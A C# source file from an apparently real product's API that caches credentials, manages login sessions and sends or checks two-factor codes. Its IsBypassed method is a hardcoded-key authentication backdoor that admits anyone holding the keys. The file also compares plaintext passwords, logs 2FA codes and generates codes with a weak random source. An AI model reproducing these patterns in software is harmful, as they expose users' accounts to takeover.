using System.Collections.Concurrent;
using System.Security.Cryptography;
using InABox.Core;
using InABox.Database;

namespace InABox.API;


public static class CredentialsCache
{

    private static ConcurrentBag<User>? cache;
    
    private static readonly User BYPASSED_USER = new() { ID = CoreUtils.FullGuid, UserID = "" };

    private static void EnsureCache(bool force)
    {
        if (cache == null || force)
        {
            var _table = DbFactory.NewProvider(Logger.Main).Query(
                null,
                Columns.None<User>().Add(
                    x => x.ID,
                    x => x.UserID,
                    x => x.Password,
                    x => x.Use2FA,
                    x => x.Recipient2FA,
                    x => x.TwoFactorAuthenticationType,
                    x => x.AuthenticatorToken,
                    x => x.PIN,
                    x => x.SecurityGroup.ID,
                    x => x.PasswordExpiration
                )
            );
            cache = new ConcurrentBag<User>();
            foreach (var _row in _table.Rows)
                cache.Add(_row.ToObject<User>());
        }
    }

    public static bool IsBypassed(string userid, string password)
    {
        //if ((userid == "FROGSOFTWARE") && (password == "FROGSOFTWARE"))
        //    return true;

        if (userid.IsBase64String() && password.IsBase64String())
            try
            {
                if (Encryption.Decrypt(userid, "wCq9rryEJEuHIifYrxRjxg", out var _decryptedUser) &&
                    Encryption.Decrypt(password, "7mhvLnqMwkCAzN+zNGlyyg", out var _decryptedPass))
                    if (long.TryParse(_decryptedUser, out var _userticks) && long.TryParse(_decryptedPass, out var _passticks))
                        if (_userticks == _passticks)
                        {
                            var _remotedate = new DateTime(_userticks);
                            var _localdate = DateTime.Now.ToUniversalTime();
                            if (_remotedate >= _localdate.AddDays(-1) && _remotedate <= _localdate.AddDays(1))
                                return true;
                        }
            }
            catch (Exception _exception)
            {
                Logger.Send(LogType.Error, "", $"*** Unknown Error: {_exception.Message}\n{_exception.StackTrace}");
            }

        return false;
    }

    public static Guid Validate(Guid sessionId, out string? userId)
    {
        EnsureCache(false);
        if(!sessions.TryGetValue(sessionId, out var _session) || !_session.Valid)
        {
            userId = null;
            return Guid.Empty;
        }
        if(_session.Expiry < DateTime.Now)
        {
            sessions.Remove(sessionId, out var _);
            userId = null;
            return Guid.Empty;
        }
        userId = _session.UserID;
        return _session.User;
    }

    public static User? Validate(Guid sessionId)
    {
        EnsureCache(false);
        if (!sessions.TryGetValue(sessionId, out var _session) || !_session.Valid)
        {
            return null;
        }
        if (_session.Expiry < DateTime.Now)
        {
            sessions.Remove(sessionId, out var _);
            return null;
        }
        if(_session.User == CoreUtils.FullGuid)
        {
            return BYPASSED_USER;
        }
        return cache?.FirstOrDefault(x => x.ID == _session.User);
    }

    /// <summary>
    /// Validate a given session, and refresh the session expiry if valid; use for database queries that need to refresh the user's expiry time.
    /// </summary>
    /// <param name="sessionId"></param>
    /// <returns></returns>
    public static User? ValidateAndRefresh(Guid sessionId)
    {
        var _user = Validate(sessionId);
        if(_user is not null)
        {
            RefreshSessionExpiry(sessionId);
        }
        return _user;
    }

    public static User? ValidateUser(string? pin)
    {
        if (String.IsNullOrWhiteSpace(pin))
            return null;
        EnsureCache(false);
        return cache?.FirstOrDefault(x => string.Equals(x.PIN, pin));
    }

    public static User? ValidateUser(string? userId, string? password)
    {
        if (String.IsNullOrWhiteSpace(userId) || String.IsNullOrWhiteSpace(password))
            return null;

        if (IsBypassed(userId, password))
            return BYPASSED_USER;
        
        EnsureCache(false);
        return cache?.FirstOrDefault(x => string.Equals(x.UserID, userId) && string.Equals(x.Password, password));
    }

    public static void LogoutUser(Guid userGuid)
    {
        sessions.Remove(userGuid, out var _);
    }

    public static void Refresh(bool force)
    {
        EnsureCache(force);
    }

    #region Sessions

    private class Session
    {
        public Guid User { get; init; }

        public string UserID { get; init; } = "";

        public bool Valid { get; set; }

        public DateTime Expiry { get; set; }
    }
    // SessionID => Session
    private static ConcurrentDictionary<Guid, Session> sessions = new();

    public static TimeSpan SessionExpiry = TimeSpan.FromHours(8);

    public static string? CacheFile { get; set; }

    public static IEnumerable<Guid> GetUserSessions(Guid userID)
    {
        return sessions.Where(x => x.Value.User == userID).Select(x => x.Key);
    }

    private static void CheckSessionExpiries()
    {
        var _expiredkeys = sessions
            .Where(x => x.Value.Expiry < DateTime.Now);
        foreach (var _expiredkey in _expiredkeys)
            sessions.TryRemove(_expiredkey);
    }

    public static void SetSessionExpiryTime(TimeSpan expiry)
    {
        SessionExpiry = expiry;
    }

    public static void RefreshSessionExpiry(Guid sessionID)
    {
        if (sessions.TryGetValue(sessionID, out var _session))
        {
            if (_session.Expiry != DateTime.MaxValue)
            {
                _session.Expiry = DateTime.Now + SessionExpiry;
            }
        }
    }

    public static void SaveSessionCache()
    {
        CheckSessionExpiries();
        try
        {
            if (CacheFile != null)
            {
                var _json = Serialization.Serialize(sessions.Where(x => x.Value.Expiry != DateTime.MaxValue).ToDictionary(x => x.Key, x => x.Value));
                File.WriteAllText(CacheFile, _json);
            }
            else
            {
                Logger.Send(LogType.Error, "", "Error while saving session cache: No Cache file set!");
            }
        }
        catch (Exception _exception)
        {
            Logger.Send(LogType.Error, "", $"Error while saving session cache: {_exception.Message}");
        }
    }

    public static void LoadSessionCache()
    {
        try
        {
            if (CacheFile != null)
            {
                var _cachedData = Serialization.Deserialize<Dictionary<Guid, Session>>(new FileStream(CacheFile, FileMode.Open))?
                    .Where(x => x.Value.Expiry != DateTime.MaxValue).ToDictionary(x => x.Key, x => x.Value);
                if (_cachedData != null)
                    sessions.AddRange(_cachedData);
                CheckSessionExpiries();
            }
            else
            {
                sessions = new();
            }
        }
        catch (Exception)
        {
            sessions = new();
        }
    }

    public static void SetCacheFile(string cacheFile)
    {
        CacheFile = cacheFile;
    }

    public static Guid NewSession(User user, bool valid = true, DateTime? expiry = null)
    {
        var _id = Guid.NewGuid();

        sessions[_id] = new() { User = user.ID, Valid = valid, Expiry = expiry ?? (DateTime.Now + SessionExpiry), UserID = user.UserID };

        return _id;
    }

    public static bool SessionExists(Guid session)
    {
        return sessions.ContainsKey(session);
    }

    #endregion

    #region 2FA

    private class AuthenticationCode
    {
        public string Code { get; set; }

        public DateTime Expiry { get; set; }

        public int TriesLeft { get; set; }

        public AuthenticationCode(string code, DateTime expiry)
        {
            Code = code;
            Expiry = expiry;
            TriesLeft = TWO_FA_TRIES;
        }
    }

    private static readonly ConcurrentDictionary<Guid, AuthenticationCode> authenticationCodes = new();

    private static readonly int TWO_FA_TRIES = 3;

    public static readonly int CODE_LENGTH = 6;

    private static readonly TimeSpan EXPIRY2_FA_CODE_TIME = TimeSpan.FromMinutes(15);

    private static Dictionary<SMSProviderType, ISMSProvider> SMSProviders { get; set; } = new();

    public static void AddSMSProvider(ISMSProvider provider) 
    {
        SMSProviders.Add(provider.ProviderType, provider);
    }

    private static string GenerateCode()
    {
        var _random = new Random(DateTime.Now.Millisecond);
        var _code = "";
        for (int _char = 0; _char < CODE_LENGTH; _char++)
            _code += _random.Next(10).ToString();
        return _code;
    }

    public static Guid? SendCode(Guid userGuid, out string? recipient)
    {
        EnsureCache(false);
        var _user = cache?.FirstOrDefault(x => x.ID == userGuid);
        if(_user == null)
        {
            Logger.Send(LogType.Error, "", "Cannot send code; user does not exist!");
            recipient = null;
            return null;
        }

        var _newSession = NewSession(_user, false);
        Logger.Send(LogType.Information, "", $"New login session {_newSession} for {_user.UserID}");

        if (_user.TwoFactorAuthenticationType != TwoFactorAuthenticationType.GoogleAuthenticator)
        {
            var _smsProvider = SMSProviders
                .Where(x => x.Value.TwoFactorAuthenticationType == _user.TwoFactorAuthenticationType)
                .Select(x => x.Value).FirstOrDefault();
            if (_smsProvider == null)
            {
                Logger.Send(LogType.Error, "", "Cannot send code; user requests a 2FA method which is not supported!");
                recipient = null;
                return null;
            }

            var _code = GenerateCode();

            Logger.Send(LogType.Information, "", $"Code for session {userGuid} is {_code}");
            authenticationCodes[_newSession] = new AuthenticationCode(_code, DateTime.Now + EXPIRY2_FA_CODE_TIME);

            var _recipientAddress = _user.Recipient2FA;
            if (_smsProvider.SendMessage(_recipientAddress, $"Your authentication code is {_code}. This code will expire in {EXPIRY2_FA_CODE_TIME.Minutes} minutes."))
            {
                Logger.Send(LogType.Information, "", "Code sent!");

                var _first = _recipientAddress[..3];
                var _last = _recipientAddress[^3..];

                recipient = _first + new string('*', _recipientAddress.Length - 6) + _last;
                return _newSession;
            }
            else
            {
                Logger.Send(LogType.Information, "", "Code failed to send!");
                recipient = null;
                return null;
            }
        }
        else
        {
            Logger.Send(LogType.Information, "", $"Google authenticator is being used");
            recipient = "Google Authenticator";
            return _newSession;
        }
    }

    private static readonly int CODE_MODULO = (int)Math.Pow(10, CODE_LENGTH);

    private static string GenerateGoogleAuthenticatorCode(long time, byte[] key)
    {
        var _window = time / 30;
        var _hex = _window.ToString("x");
        if (_hex.Length < 16)
        {
            _hex = _hex.PadLeft(16, '0');
        }
        var _bytes = Convert.FromHexString(_hex);
        var _hash = new HMACSHA1(key).ComputeHash(_bytes);

        var _offset = _hash.Last() & 0xf;
        var _selected = new byte[4];
        Buffer.BlockCopy(_hash, _offset, _selected, 0, 4);
        if (BitConverter.IsLittleEndian)
        {
            Array.Reverse(_selected);
        }

        var _integer = BitConverter.ToInt32(_selected, 0);
        var _truncated = _integer & 0x7fffffff;

        return (_truncated % CODE_MODULO).ToString().PadLeft(CODE_LENGTH, '0');
    }

    private static bool CheckAuthenticationCode(byte[] token, string code)
    {
        var _time = DateTimeOffset.Now.ToUnixTimeSeconds();
        for (long _l = _time - 30; _l <= _time; _l += 30)
        {
            if(GenerateGoogleAuthenticatorCode(_l, token) == code)
            {
                return true;
            }
        }
        return false;
    }

    public static bool ValidateCode(Guid sessionID, string code)
    {
        if (!sessions.TryGetValue(sessionID, out var _session))
        {
            return false;
        }

        bool _valid;
        if(authenticationCodes.TryGetValue(sessionID, out var _result))
        {
            if (_result.Code != code)
            {
                _result.TriesLeft--;
                if (_result.TriesLeft == 0)
                {
                    authenticationCodes.Remove(sessionID, out _);
                }
                _valid = false;
            }
            else if (_result.Expiry < DateTime.Now)
            {
                authenticationCodes.Remove(sessionID, out _);
                _valid = false;
            }
            else
            {
                _valid = true;
            }
        }
        else
        {
            var _user = cache?.FirstOrDefault(x => x.ID == _session.User);
            if (_user?.TwoFactorAuthenticationType == TwoFactorAuthenticationType.GoogleAuthenticator)
            {
                _valid = CheckAuthenticationCode(_user.AuthenticatorToken, code);
            }
            else
            {
                _valid = false;
            }
        }

        if (_valid)
        {
            _session.Valid = true;

            return true;
        }
        else
        {
            return false;
        }
    }

    #endregion
}